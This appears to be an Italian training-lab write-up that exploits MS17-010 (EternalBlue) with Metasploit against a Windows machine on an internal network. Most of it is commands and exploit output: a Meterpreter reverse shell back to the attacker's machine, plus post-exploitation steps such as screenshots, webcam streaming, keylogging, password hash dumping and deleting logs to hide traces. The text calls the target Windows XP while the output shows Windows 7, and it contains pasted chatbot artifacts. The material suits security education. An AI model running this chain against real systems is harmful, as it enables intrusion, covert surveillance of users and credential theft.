W17D1

Per ottenere una sessione **Meterpreter** su una macchina **Windows XP** sfruttando la vulnerabilità **MS17-010 (EternalBlue)** con **Metasploit** su **Kali Linux**, e successivamente eseguire le operazioni richieste (recuperare uno screenshot, individuare la webcam, fare dump della tastiera, ecc.), dobbiamo procedere con un approccio sistematico. Ecco i passi dettagliati, suddivisi in modo chiaro:

1. Preparazione della rete interna

1.1 Collegamento delle macchine alla stessa rete

Dopo aver collegato le macchine in rete interna effettuo una scansione con **Nmap** per verificare la presenza della vulnerabilità **MS17-010** sulla macchina **Windows XP**:

```
┌──(kali㉿kali)-[~]
└─$ nmap -p 445 --script smb-vuln-ms17-010 192.168.50.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 13:47 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or
specify valid servers with --dns-servers
Nmap scan report for 192.168.50.101
Host is up (0.0084s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
```

```
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
```

Sfruttare la vulnerabilità MS17-010 con Metasploit

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.50.101
RHOST => 192.168.50.101
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

3.1 Avviare Metasploit

3.5 Eseguire l'exploit

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.50.101:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7600 x64 (64-bit)
[*] 192.168.50.101:445    - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.50.101:445 - The target is vulnerable.
[*] 192.168.50.101:445 - Connecting to target for exploitation.
[+] 192.168.50.101:445 - Connection established for exploitation.
[+] 192.168.50.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.101:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.50.101:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70  Windows 7 Enterp
[*] 192.168.50.101:445 - 0x00000010  72 69 73 65 20 37 36 30 30                       rise 7600
[+] 192.168.50.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.101:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.50.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.101:445 - Starting non-paged pool grooming
[+] 192.168.50.101:445 - Sending SMBv2 buffers
[+] 192.168.50.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.101:445 - Sending final SMBv2 buffers.
[*] 192.168.50.101:445 - Sending last fragment of exploit packet!
[*] 192.168.50.101:445 - Receiving response from exploit packet
[+] 192.168.50.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.101:445 - Sending egg to corrupted connection.
[*] 192.168.50.101:445 - Triggering free of corrupted buffer.
[-] 192.168.50.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.50.101:445 - Connecting to target for exploitation.
[+] 192.168.50.101:445 - Connection established for exploitation.
[+] 192.168.50.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.101:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.50.101:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70  Windows 7 Enterp
```

```
[*] 192.168.50.101:445 - 0x00000010  72 69 73 65 20 37 36 30 30                       rise 7600
[+] 192.168.50.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.101:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.50.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.101:445 - Starting non-paged pool grooming
[+] 192.168.50.101:445 - Sending SMBv2 buffers
[+] 192.168.50.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.101:445 - Sending final SMBv2 buffers.
[*] 192.168.50.101:445 - Sending last fragment of exploit packet!
[*] 192.168.50.101:445 - Receiving response from exploit packet
[+] 192.168.50.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.101:445 - Sending egg to corrupted connection.
[*] 192.168.50.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[-] 192.168.50.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.50.101:445 - Connecting to target for exploitation.
[+] 192.168.50.101:445 - Connection established for exploitation.
[+] 192.168.50.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.101:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.50.101:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70  Windows 7 Enterp
[*] 192.168.50.101:445 - 0x00000010  72 69 73 65 20 37 36 30 30                       rise 7600
[+] 192.168.50.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.101:445 - Trying exploit with 22 Groom Allocations.
[*] 192.168.50.101:445 - Sending all but last fragment of exploit packet
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] 192.168.50.101:445 - Starting non-paged pool grooming
[+] 192.168.50.101:445 - Sending SMBv2 buffers
[+] 192.168.50.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.101:445 - Sending final SMBv2 buffers.
[*] 192.168.50.101:445 - Sending last fragment of exploit packet!
[*] 192.168.50.101:445 - Receiving response from exploit packet
```

```
[+] 192.168.50.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.101:445 - Sending egg to corrupted connection.
[*] 192.168.50.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[-] 192.168.50.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Meterpreter session 11 opened (192.168.50.100:4444 -> 192.168.50.101:49595) at 2024-09-09 14:50:58 -0400

meterpreter > [*] Meterpreter session 10 opened (192.168.50.100:4444 -> 192.168.50.101:49594) at 2024-09-09 14:51:02 -0400
[*] Meterpreter session 14 opened (192.168.50.100:4444 -> 192.168.50.101:49598) at 2024-09-09 14:51:15 -0400
[*] Meterpreter session 12 opened (192.168.50.100:4444 -> 192.168.50.101:49596) at 2024-09-09 14:51:20 -0400
[*] Meterpreter session 13 opened (192.168.50.100:4444 -> 192.168.50.101:49597) at 2024-09-09 14:51:21 -0400

meterpreter > [*] 192.168.50.101 - Meterpreter session 15 closed.  Reason: Died
[*] 192.168.50.101 - Meterpreter session 16 closed.  Reason: Died
[*] 192.168.50.101 - Meterpreter session 17 closed.  Reason: Died
[*] 192.168.50.101 - Meterpreter session 18 closed.  Reason: Died
[*] 192.168.50.101 - Meterpreter session 19 closed.  Reason: Died
[*] 192.168.50.101 - Meterpreter session 13 closed.  Reason: Died
[*] 192.168.50.101 - Meterpreter session 14 closed.  Reason: Died
[*] 192.168.50.101 - Meterpreter session 12 closed.  Reason: Died

[*] 192.168.50.101 - Meterpreter session 11 closed.  Reason: Died
[*] 192.168.50.101 - Meterpreter session 10 closed.  Reason: Died
```

```
meterpreter >
```

4. Operazioni tramite Meterpreter

4.1 Recuperare uno screenshot

```
screenshot
Screenshot saved to: /home/kali/WmrUQKnk.jpeg
```

4.2 Verificare la presenza di una webcam

```
meterpreter > webcam_list
[-] No webcams were found
```

`webcam_list`

Se è presente una webcam, il comando restituirà un elenco delle webcam disponibili.

4.3 Attivare la webcam

Se viene trovata una webcam, puoi visualizzare il feed della webcam con:

bash

Copia codice

`webcam_stream`

4.4 Dump della tastiera (Keylogger)

Per avviare un keylogger e catturare i tasti premuti, usa il comando:

bash

Copia codice

`keyscan_start`

Dopo averlo lasciato attivo per un po', puoi fermarlo e vedere ciò che è stato registrato:

bash

Copia codice

```
keyscan_dump keyscan_stop
```

5. Altre operazioni possibili con Meterpreter

5.1 Shell sulla macchina

```
meterpreter > shell
Process 2036 created.
Channel 1 created.
Microsoft Windows [Versione 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Tutti i diritti riservati.

C:\Windows\system32>ipconfig
ipconfig

Configurazione IP di Windows


Scheda Ethernet Connessione alla rete locale (LAN):

   Suffisso DNS specifico per connessione:
   Indirizzo IPv6 locale rispetto al collegamento . : fe80::85be:a319:c60d:e892%11
   Indirizzo IPv4. . . . . . . . . . . . : 192.168.50.101
   Subnet mask . . . . . . . . . . . . . : 255.255.255.0
   Gateway predefinito . . . . . . . . . : 192.168.50.1

Scheda Tunnel isatap.{1F6A7472-EE00-478D-8FAC-6F32F71919B6}:

   Stato supporto. . . . . . . . . . . . : Supporto disconnesso
```

```
    Suffisso DNS specifico per connessione:

```

Puoi aprire una shell sulla macchina **Windows XP** utilizzando:

bash

Copia codice

```
shell
```

Questo ti permetterà di eseguire comandi del sistema operativo direttamente, ad esempio:

bash

Copia codice

```
ipconfig
```

5.2 Raccolta informazioni (systeminfo, users, password hash)

Puoi ottenere varie informazioni sulla macchina e sugli utenti:

bash

Copia codice

```
sysinfo # Informazioni di sistema getuid # Nome utente attuale hashdump # Dump degli hash delle password
```

6. Pulizia e disconnessione

Una volta completate le attività, è importante pulire la tua traccia e chiudere la sessione **Meterpreter**.

6.1 Cancellare i log

Puoi cercare e cancellare i file di log di **Windows XP** per eliminare eventuali tracce della tua attività.

6.2 Chiudere la sessione

Per chiudere la sessione **Meterpreter**, usa:

bash

Copia codice

```
exit
```

7. Considerazioni finali

Assicurati di ripristinare il firewall sulla macchina **Windows XP** e di riportare l'ambiente alla normalità dopo aver completato i test.

Conclusioni

Hai ora una guida completa passo per passo su come sfruttare la vulnerabilità **MS17-010** utilizzando **Metasploit**, ottenere una sessione **Meterpreter**, e poi eseguire le azioni richieste come screenshot, webcam, e keylogging.

telnet ip_win porta_win

netstat -tulpan
https://github.com/3tternp/CVE-2023-21554